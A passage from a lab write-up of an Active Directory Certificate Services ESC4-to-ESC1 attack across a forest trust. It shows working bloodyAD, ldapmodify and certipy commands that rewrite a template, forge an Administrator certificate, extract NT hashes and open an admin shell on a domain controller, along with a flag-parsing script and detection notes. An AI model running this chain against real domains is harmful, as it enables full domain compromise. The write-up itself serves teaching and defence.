Definitive proof. GSSAPI session negotiated at SSF 256 — DC2’s integrity requirement satisfied — and both queries return absolutely nothing. Zero Enterprise CAs, zero certificate templates. The directory is queryable; it’s just empty of the objects we’re hunting. The PKI doesn’t exist in PONG. It lives across the trust, in PING, which is why automated tooling run blindly against the home DC finds nothing, and why mapping those Foreign Security Principals in BloodHound was the linchpin that found the ESC4 in the first place.
Manual Enumeration — The Classic Way
Back across the trust. The write seat checks what it can touch:
➜ bloodyAD --host dc1.ping.htb -d ping.htb \
-u r.martinelli -k ccache=r.martinelli.ccache \
-s get writable --partition CONFIGURATION
distinguishedName: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
permission: WRITE
OWNER: WRITE
DACL: WRITE
Jackpot. SmartcardAuthentication comes back writable — OWNER, DACL, the lot. That’s ESC4: control of the template object means control of what the CA will sign. bloodyAD handles the boundary better than certipy because it separates the authentication realm from the target domain (-d ping.htb while authenticating as r.martinelli@PONG.HTB).
Now the CA itself, and the templates it issues from:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'(objectClass=pKIEnrollmentService)' certificateTemplates
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
dn: CN=ping-DC1-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,C
N=Configuration,DC=ping,DC=htb
certificateTemplates: SmartcardAuthentication
certificateTemplates: TemporaryWinRM
certificateTemplates: DirectoryEmailReplication
certificateTemplates: DomainControllerAuthentication
certificateTemplates: KerberosAuthentication
certificateTemplates: EFSRecovery
certificateTemplates: EFS
certificateTemplates: DomainController
certificateTemplates: WebServer
certificateTemplates: Machine
certificateTemplates: User
certificateTemplates: SubCA
certificateTemplates: Administrator
There’s the CA — ping-DC1-CA — and the thirteen templates it will issue from. SmartcardAuthentication is on the list. The CA lives in PING, the writable template lives in PING, only our seat lives in PONG.
Then the bulk census. This is the parser — it splits ldapsearch output by blank line, extracts each template’s displayName and msPKI-Certificate-Name-Flag, converts to unsigned hex, and flags every template with Bit 0 set:
#!/usr/bin/env python3
import sys
import re
def parse_templates():
data = sys.stdin.read()
hits = []
# Split by LDAP entry blocks
blocks = data.split("\n\n")
for block in blocks:
# Anchor to the start of a line so `distinguishedName:` cannot satisfy
# the `name` alternative through its trailing "Name:" substring.
name_m = re.search(r"^displayName:\s*(.+)", block, re.IGNORECASE | re.MULTILINE)
if not name_m:
name_m = re.search(r"^(?:name|cn):\s*(.+)", block, re.IGNORECASE | re.MULTILINE)
flag_m = re.search(r"^msPKI-Certificate-Name-Flag:\s*(-?\d+)", block, re.IGNORECASE | re.MULTILINE)
if name_m:
name = name_m.group(1).strip()
# A missing attribute means 0 — no flags set.
raw_val = int(flag_m.group(1)) if flag_m else 0
# Convert signed 32-bit integer to unsigned hex representation
unsigned_val = raw_val & 0xFFFFFFFF
hex_str = f"0x{unsigned_val:08x}"
# Check for Enrollee Supplies Subject flag (0x1) or custom combinations
is_abusable = bool(unsigned_val & 0x1)
status = "[!] ESC1 VULN" if is_abusable else "[+] Secure"
hits.append({
"name": name,
"raw": raw_val,
"hex": hex_str,
"status": status
})
elif flag_m:
# A flag with no readable name is a census hole, not a row to drop.
print(f"[-] unnamed template (flag {flag_m.group(1)}) — add `name` to the ldapsearch", file=sys.stderr)
if not hits:
print("[-] No template name flags found in input.")
return
print(f"{'Template Name':<30} | {'Decimal Value':<15} | {'Hex Bitmask':<12} | {'Status':<15}")
print("-" * 80)
for h in hits:
print(f"{h['name']:<30} | {str(h['raw']):<15} | {h['hex']:<12} | {h['status']:<15}")
if __name__ == "__main__":
parse_templates()
(The parser tests Bit 0 only — which is the effective CA-side supply switch and the bit certipy find’s ESC1 check keys on, before it applies its enrollment and EKU filters. Bits 3 and 16 are client hints; extending the mask to 0x10009 would make the table noisier, not more correct. On this box’s data the table comes out identical either way.)
State 1 — Baseline (before any writes)
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'(objectClass=pKICertificateTemplate)' \
msPKI-Certificate-Name-Flag displayName | \
python3 adcs-mask-parser.py
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
Template Name | Decimal Value | Hex Bitmask | Status
--------------------------------------------------------------------------------
User | -1509949440 | 0xa6000000 | [+] Secure
User Signature Only | -1509949440 | 0xa6000000 | [+] Secure
Smartcard User | -1509949440 | 0xa6000000 | [+] Secure
Authenticated Session | -2113929216 | 0x82000000 | [+] Secure
Smartcard Logon | -2113929216 | 0x82000000 | [+] Secure
Basic EFS | -2113929216 | 0x82000000 | [+] Secure
Administrator | -1509949440 | 0xa6000000 | [+] Secure
EFS Recovery Agent | -2113929216 | 0x82000000 | [+] Secure
Code Signing | -2113929216 | 0x82000000 | [+] Secure
Trust List Signing | -2113929216 | 0x82000000 | [+] Secure
Enrollment Agent | -2113929216 | 0x82000000 | [+] Secure
Exchange Enrollment Agent (Offline request) | 1 | 0x00000001 | [!] ESC1 VULN
Enrollment Agent (Computer) | 402653184 | 0x18000000 | [+] Secure
Computer | 402653184 | 0x18000000 | [+] Secure
Domain Controller | 419430400 | 0x19000000 | [+] Secure
Web Server | 1 | 0x00000001 | [!] ESC1 VULN
Root Certification Authority | 1 | 0x00000001 | [!] ESC1 VULN
Subordinate Certification Authority | 1 | 0x00000001 | [!] ESC1 VULN
IPSec | 402653184 | 0x18000000 | [+] Secure
IPSec (Offline request) | 1 | 0x00000001 | [!] ESC1 VULN
Router (Offline request) | 1 | 0x00000001 | [!] ESC1 VULN
CEP Encryption | 1 | 0x00000001 | [!] ESC1 VULN
Exchange User | 1 | 0x00000001 | [!] ESC1 VULN
Exchange Signature Only | 1 | 0x00000001 | [!] ESC1 VULN
Cross Certification Authority | 1 | 0x00000001 | [!] ESC1 VULN
CA Exchange | 1 | 0x00000001 | [!] ESC1 VULN
Key Recovery Agent | -2113929216 | 0x82000000 | [+] Secure
Domain Controller Authentication | 134217728 | 0x08000000 | [+] Secure
Directory Email Replication | 150994944 | 0x09000000 | [+] Secure
Workstation Authentication | 134217728 | 0x08000000 | [+] Secure
RAS and IAS Server | 1207959552 | 0x48000000 | [+] Secure
OCSP Response Signing | 402653184 | 0x18000000 | [+] Secure
Kerberos Authentication | 138412032 | 0x08400000 | [+] Secure
Temporary WinRM | -2113929216 | 0x82000000 | [+] Secure
Smartcard Authentication | -1577058304 | 0xa2000000 | [+] Secure
SmartcardAuthentication sits at 0xa2000000 — three require-bits, no supply bit. Eleven templates light up [!] ESC1 VULN, but those ship from Microsoft with ENROLLEE_SUPPLIES_SUBJECT = true baked in — out-of-box defaults, not our attack. The target is the one writable template with the safe shape.
Note: Several built-in Microsoft templates (
CA Exchange,Web Server,Root Certification Authority, etc.) appear as[!] ESC1 VULNbecause they haveCT_FLAG_ENROLLEE_SUPPLIES_SUBJECTset by design. The supply bit alone isn’t the whole ESC1 story — enrollment rights, EKUs, and manager approval all matter, which is why certipy’s write-granted census of this box (which checks those) returned only two templates —SmartcardAuthenticationandTemporaryWinRM— not eleven. The parser above checks only the name-flag; always verifymsPKI-Enrollment-Flag(no manager approval required?) and enrollment rights (low-priv principal can enroll?) before acting on any hit.[+] Secureis the same narrow verdict in the other direction: Bit 0 is clear, which says nothing about the template’s ACL or issuance policy.TemporaryWinRMreads[+] Securehere and is ESC13;SmartcardAuthenticationreads[+] Securehere and is ESC4 once write is in hand.
State 2 — The Classic Way: OR Write
2717908993 — the unsigned 0xa2000001, computed above in the OPSEC section. Bit 0 OR’d in, nothing else touched:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapmodify -H ldap://dc1.ping.htb -Y GSSAPI -N << 'EOF'
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
changetype: modify
replace: msPKI-Certificate-Name-Flag
msPKI-Certificate-Name-Flag: 2717908993
EOF
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
Verify with the single-DN read:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
msPKI-Certificate-Name-Flag
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services
,CN=Services,CN=Configuration,DC=ping,DC=htb
msPKI-Certificate-Name-Flag: -1577058303
-1577058303 — the same number with exactly one bit toggled. The bulk scan agrees:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'(objectClass=pKICertificateTemplate)' \
msPKI-Certificate-Name-Flag displayName | \
python3 adcs-mask-parser.py
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
[...35 rows, same as State 1 except:]
Smartcard Authentication | -1577058303 | 0xa2000001 | [!] ESC1 VULN
ESC4 executed. The template now has a supply bit and keeps all three require-bits. Compare that to the dirty write below.
Note: The preserved require-bits don’t prevent the identity forge — once bit 0 is set, the CA takes the CSR as-is. Their value is operational: the template’s original behaviour survives intact, the change is less damaging to the estate, and restoring to baseline is one write back. It is still a domain compromise — cleaner, not harmless.
What Certipy Sees — Seat-Dependent
Certipy’s vulnerability list depends on who runs it. With write granted to a specific seat, the same census that showed only ESC13 now names the template:
➜ bloodyAD --host dc1.ping.htb -d ping.htb \
-u r.martinelli -k ccache=r.martinelli.ccache \
add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'S-1-5-21-750635624-2058721901-1932338391-2617'
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
➜ env KRB5CCNAME=c.roberts.ccache \
certipy find \
-target dc1.ping.htb -dc-ip $target_dc1_ip \
-u 'c.roberts@ping.htb' -k -no-pass \
-stdout
...[snip]...
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\C.Roberts
[+] User ACL Principals : PING.HTB\C.Roberts
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
ESC4 : User has dangerous permissions.
Certipy finally sees it: ESC1 and ESC4, from a seat with write. The Enrollment Rights line still names only Domain Admins and Enterprise Admins — but the User Enrollable Principals line just above the verdict says PING.HTB\C.Roberts, because the GenericAll we just granted includes the enroll right. The flag flip was necessary; the ACL grant is what made this seat able to use it.
Opening the Door — Enrollment
The grant above went to c.roberts’s own SID — the quieter route, and the one this walkthrough uses. The broad alternative — the route used on the first run — grants it to S-1-5-11 — Authenticated Users — and the certificate still mints. This is a lab, nobody is auditing the template:
➜ bloodyAD --host dc1.ping.htb -d ping.htb \
-u r.martinelli -k ccache=r.martinelli.ccache \
add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'S-1-5-11'
[+] S-1-5-11 has now GenericAll on CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
S-1-5-11 is Authenticated Users — every authenticated principal in PING could now enroll. That is fine in an isolated lab; on a shared domain it is the kind of broad grant a defender notices. The first run used the broad grant; the second used c.roberts’s SID — same command, only the SID changed, and both wrote the default administrator.pfx. In this walkthrough the targeted grant is the one in place, and the enrollment below relies on it.
The Two-Principal Relay
The enrollment has to come from a PING principal, not the PONG foothold. certipy req from the PONG seat would have to cross the same realm hop that broke certipy find — certipy’s ccache realm routing and Impacket’s pinned-KDC TGS path cannot take that hop from a foreign-realm ccache (see Read the Referral, Not the Wrapper). With a PING ticket and -dc-ip pointed at the PING DC, certipy req needs no hop at all. So the PING low-priv seat c.roberts picks up the baton:
➜ getTGT.py 'ping.htb/c.roberts:AssumedBreach123' \
-dc-ip $target_dc1_ip
Two principals, one exploit: PONG writes the template, PING enrolls from it.
The Forge — Administrator’s Cert
➜ env KRB5CCNAME='c.roberts.ccache' \
certipy req -k -no-pass \
-target dc1.ping.htb -target-ip $target_dc1_ip \
-dc-host dc1.ping.htb -dc-ip $target_dc1_ip \
-ca 'ping-DC1-CA' \
-template SmartcardAuthentication \
-upn 'Administrator@ping.htb' \
-sid 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Requesting certificate via RPC
[*] Request ID is 19
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Request ID 19. The CA signed a certificate for a user it believes is Administrator — because the CSR said so, and bit 0 makes the CSR the authority. -upn puts the Administrator UPN in the SAN; -sid burns the Administrator SID into the cert as the tag:microsoft.com,2022-09-14:sid: explicit-mapping URL. That SID makes the PKINIT mapping unambiguous — the KDC doesn’t have to guess which account this cert belongs to; the cert says it.
PKINIT — The Throne
➜ certipy auth \
-pfx administrator.pfx \
-domain ping.htb -dc-ip $target_dc1_ip
[*] Certificate identities:
[*] SAN UPN: 'Administrator@ping.htb'
[*] SAN URL SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:63905deb12b527aadfdbc26d3f423eff
PKINIT accepts the cert because the template carries the Client Authentication EKU. TGT granted, NT hash extracted. The issued cert’s SAN held only Administrator@ping.htb and the :sid: URL — no second UPN from the requester, despite bit 25 surviving the OR write. The preserved require-bits did not stop the CA from taking the CSR as the identity source.
➜ env KRB5CCNAME='administrator.ccache' \
evil_winrmexec -k dc1.ping.htb -dc-ip $target_dc1_ip
...[snip]...
PS C:\Users\Administrator\Documents> whoami; hostname
ping\administrator
dc1
ping\administrator on dc1. Throne.
State 3 — Restore
The restore returns the name flag to 0xa2000000 (2717908992). The temporary enrollment ACE is removed separately — the commands are in the box post’s Cleanup appendix. Restoring the flag without removing the ACE leaves the template enrollable by the principal you granted.
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapmodify -H ldap://dc1.ping.htb -Y GSSAPI -N << 'EOF'
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
changetype: modify
replace: msPKI-Certificate-Name-Flag
msPKI-Certificate-Name-Flag: 2717908992
EOF
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
[...35 rows, same as State 1 except:]
Smartcard Authentication | -1577058304 | 0xa2000000 | [+] Secure
Back to 0xa2000000, identical to State 1. One bit flipped for the attack, one bit flipped back — each direction shows up in the audit log as the usual Event 5136 pair, a Value Deleted with the old mask and a Value Added with the new one, one bit apart.
The restore above ran before the dirty write below; State 4 is a separate test of the overwrite, not the state the chain ended in.
State 4 — The Dirty Way: Overwrite
The one-liner everyone copies:
➜ bloodyAD --host dc1.ping.htb -d ping.htb \
-u r.martinelli -k ccache=r.martinelli.ccache \
set object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
msPKI-Certificate-Name-Flag -v 1
[+] CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb's msPKI-Certificate-Name-Flag has been updated
[...35 rows, same as State 1 except:]
Smartcard Authentication | 1 | 0x00000001 | [!] ESC1 VULN
Same [!] ESC1 VULN in the table as the OR write. But the bitmask is 0x00000001 now — the UPN require, the email require, the directory-path require, all wiped. The status column can’t tell the two states apart; the hex column can. The ESC1 condition is identical either way — the difference is what the template looks like after you’ve finished. (State 4 above was verified at the bitmask level; the full request ➜ PKINIT run was done on State 2.) The template was restored to 0xa2000000 after the test.
Side-by-side: what the writes actually did to the bitmask
| Step | Bitmask (hex) | Bitmask (dec signed) | Require-bits preserved? | UPN require (bit 25) preserved? |
|---|---|---|---|---|
| State 1 — baseline | 0xa2000000 |
-1577058304 |
— | — |
State 2 — OR write (2717908993) |
0xa2000001 |
-1577058303 |
yes | yes |
| State 3 — restore | 0xa2000000 |
-1577058304 |
(yes) | (yes) |
State 4 — dirty write (1) |
0x00000001 |
1 |
no (all wiped) | no (removed) |
The Cross-Forest Wall — The Write Side
The write side of the chain, automated, hits the same cross-realm limitation that broke enumeration. With the same r.martinelli.ccache ticket, certipy template against dc1.ping.htb dies before it can touch anything:
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy template -k -no-pass \
-target dc1.ping.htb \
-dc-ip $target_dc1_ip \
-template SmartcardAuthentication \
-write-default-configuration
[-] Kerberos error: Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use) (Error code: 68)
KDC_ERR_WRONG_REALM — error code 68. Certipy is built on Impacket, whose TGS path keeps using the KDC pinned by -dc-ip (and whose ccache routing keys on the default principal’s realm), so it cannot complete the referral hop from a PONG ticket. When certipy asks for a service ticket to ldap/dc1.ping.htb using the PONG ticket, the pinned KDC cannot answer for PING, and the request throws. The ldapmodify -Y GSSAPI write that did the real work goes through the system’s native libkrb5 instead — the MIT Kerberos implementation that ships with most Linux distributions and backs ldapsearch and ldapmodify here — which resolves the referral transparently, hopping from the PONG KDC to the PING KDC and back with the service ticket.
If you want certipy’s -write-default-configuration behaviour (the noisy full-template rewrite) across this boundary, you have to fall back to the manual tools — and the manual tools are what did the write here: ldapmodify -Y GSSAPI on the name flag, driven by the libkrb5 ticket.
The Wrapper vs. The Protocol
Certipy and bloodyAD are masterpieces — in a flat, single-domain CTF they compress hours of LDAP plumbing into a 30-second command, and this post couldn’t have been written without them. But they’re built for speed, and a two-forest box with enforced signing is where speed stops matching the network. This box broke three of their assumptions live: the cross-realm TGS hop a pinned one-shot request can’t make (KDC_ERR_WRONG_REALM), the unsigned bind the DC refuses (strongerAuthRequired), and the zero-result census — which wasn’t a broken tool, just a tool answering a question about the wrong forest. A tool can be perfectly right and still answer the wrong question.
None of that is criticism — every assumption holds in the environment the tools were written for. It’s just the difference between a wrapper and a protocol. The wrapper assumes; the protocol asks. When the assumption breaks, ask the protocol yourself.
When the Quick & Dirty Way Works — Single-Domain AD CS Chains
The classic form is required whenever the baseline has bits worth preserving, flat or not. The cross-forest wrinkle is separate: Impacket’s one-shot TGS request cannot change the KDC pinned by -dc-ip, so certipy template run from the PONG seat cannot reach the PING template. A target-realm principal does not need the hop. In a single-domain CTF where the baseline is disposable and there is no enhanced LDAP signing, the quick & dirty way works fine and is significantly faster. The shortcut used below is a single-attribute write — bloodyAD ... msPKI-Certificate-Name-Flag -v 1 — which replaces that one value in one command, versus the read ➜ compute ➜ OR-write ➜ verify ➜ restore flow above. certipy template -write-default-configuration is a bigger hammer still: one command that rewrites the whole template.
When the baseline is empty, the quick & dirty way is the right call. Westbridge University (the HackSmarter Range) is a two-forest lab, but this AD CS chain stays inside westbridge.hsm, CA on the DC. Check the baseline first; this time it’s a blank bitmask:
➜ bloodyAD --host dc.westbridge.hsm -d westbridge.hsm \
-u a.owen -p 'SecretMyth123!' \
get object 'CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm' \
--attr msPKI-Certificate-Name-Flag
distinguishedName: CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm
msPKI-Certificate-Name-Flag: 0
0: a blank bitmask. No supply bits, no require bits; the template shipped empty. That’s what makes the overwrite harmless to the name flag here: there were no guardrails to wipe. The same one-liner on PingPong’s 0xa2000000 baseline would have flattened three. Same command, different baselines, different damage. The LDAP side of this chain stays inside one domain, with no cross-realm hop to make and no signing wall to hit, so bloodyAD and certipy both work in a single command here. But be precise about what certipy template -write-default-configuration writes: it is not a bit flip. create_esc1_template() replaces the security descriptor, template flags, key usage and EKUs, enrollment flags, private-key flags, name flag and key size (among other attributes) with a known-vulnerable configuration. On a 0 baseline the name-flag portion is harmless; the rest of the template is still overwritten.
Get a TGT for the Kerberos-only chain:
➜ getTGT.py westbridge.hsm/a.owen:'SecretMyth123!'
[*] Saving ticket in a.owen.ccache
Read the seat’s view of the template:
➜ env KRB5CCNAME=a.owen.ccache \
certipy find \
-u 'a.owen' -k -no-pass \
-target dc.westbridge.hsm -dc-host dc.westbridge.hsm -dc-ip 10.0.10.5
Certipy’s write-seat census named SmartCardAuthentication as ESC4.
Flip Bit 0 through LDAP:
➜ bloodyAD \
--host dc.westbridge.hsm -d westbridge.hsm -i 10.0.10.5 \
-u a.owen -k ccache=./a.owen.ccache \
set object 'CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm' \
msPKI-Certificate-Name-Flag -v 1
[+] CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm's msPKI-Certificate-Name-Flag has been updated
Grant the seat GenericAll, which includes the enroll right:
➜ bloodyAD \
--host dc.westbridge.hsm -d westbridge.hsm -i 10.0.10.5 \
-u a.owen -k ccache=./a.owen.ccache \
add genericAll 'CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm' a.owen
[+] a.owen has now GenericAll
Pull the domain SID for -sid:
➜ env KRB5CCNAME=a.owen.ccache \
nxc ldap dc.westbridge.hsm \
-u 'a.owen' --use-kcache \
--get-sid
...[snip]...
LDAP 10.0.10.5 389 DC Domain SID S-1-5-21-1978613116-3728955385-531918137
Enroll with a forged SAN:
➜ env KRB5CCNAME=a.owen.ccache \
certipy req \
-u 'a.owen' -k -no-pass \
-target dc.westbridge.hsm -dc-host dc.westbridge.hsm -dc-ip 10.0.10.5 \
-ca CA01-AD-CA \
-template SmartCardAuthentication \
-upn administrator@westbridge.hsm \
-sid 'S-1-5-21-1978613116-3728955385-531918137-500'
[*] Got certificate with UPN 'administrator@westbridge.hsm'
[*] Certificate object SID is 'S-1-5-21-1978613116-3728955385-531918137-500'
[*] Saved certificate and private key to 'administrator.pfx'
PKINIT turns the certificate into a TGT:
➜ certipy auth \
-pfx administrator.pfx -dc-ip 10.0.10.5
...[snip]...
[*] Got hash for 'administrator@westbridge.hsm': aad3b435b51404eeaad3b435b51404ee:23f398d3fa12625a1dab8a2c19cdd96b
Restore the blank baseline:
➜ bloodyAD \
--host dc.westbridge.hsm -d westbridge.hsm -i 10.0.10.5 \
-u a.owen -k ccache=./a.owen.ccache \
set object 'CN=SmartCardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=westbridge,DC=hsm' \
msPKI-Certificate-Name-Flag -v 0
Same chain, no cross-realm Kerberos, no enhanced LDAP signing: the AD CS work stays inside one domain of a two-forest range. None of the failure modes that broke the PingPong certipy calls apply. It’s a real distinction, not a stylistic preference. The tool’s failure mode is predictable from the topology of the target, not the skill of the operator.
Closing — Read The Bits, Not The Integer
When auditing an AD CS template, the integer value of msPKI-Certificate-Name-Flag is a red herring. The decimal -1509949440, the unsigned 2785017856, and the hex 0xa6000000 describe the same template; only the bit-decode distinguishes a safe template from an ESC1. The cheat-sheet approach of grepping for == 1 or == 65536 misses every template that combines Bit 0 with one or more require bits — and that is a common shape in real-world vulnerable templates, not a rare edge case.
The bulk-scan tables in the walkthrough above show exactly why this matters. State 2 (OR write) and State 4 (dirty write) carry the same status flag in the table — both mark Smartcard Authentication as [!] ESC1 VULN. The only way to tell them apart is to read the bitmask itself. The quick-and-dirty way leaves the template with 0x00000001 (no require-bits); the classic way leaves it with 0xa2000001 (require-bits preserved, UPN require intact). Same ESC1 condition, different residual state. Which one you reach for depends on the situation, not on the skill of the person running it.
And the defender has the same decision in reverse. Both writes generate the same Event 5136 pair — a Value Deleted and a Value Added — but the before/after values tell two different stories: 0xa2000000 ➜ 0xa2000001 is a one-bit delta, a change meant to be undone; 0xa2000000 ➜ 0x00000001 is a demolition. If you only alert on “the attribute changed,” you can’t tell them apart. Read the values, not the event.
If you take one thing from this post: decode the bits, never compare the integer. A 13-entry Python decoder beats a 5-row cheat sheet every time, and the spec has already corrected two of the thirteen bits for me.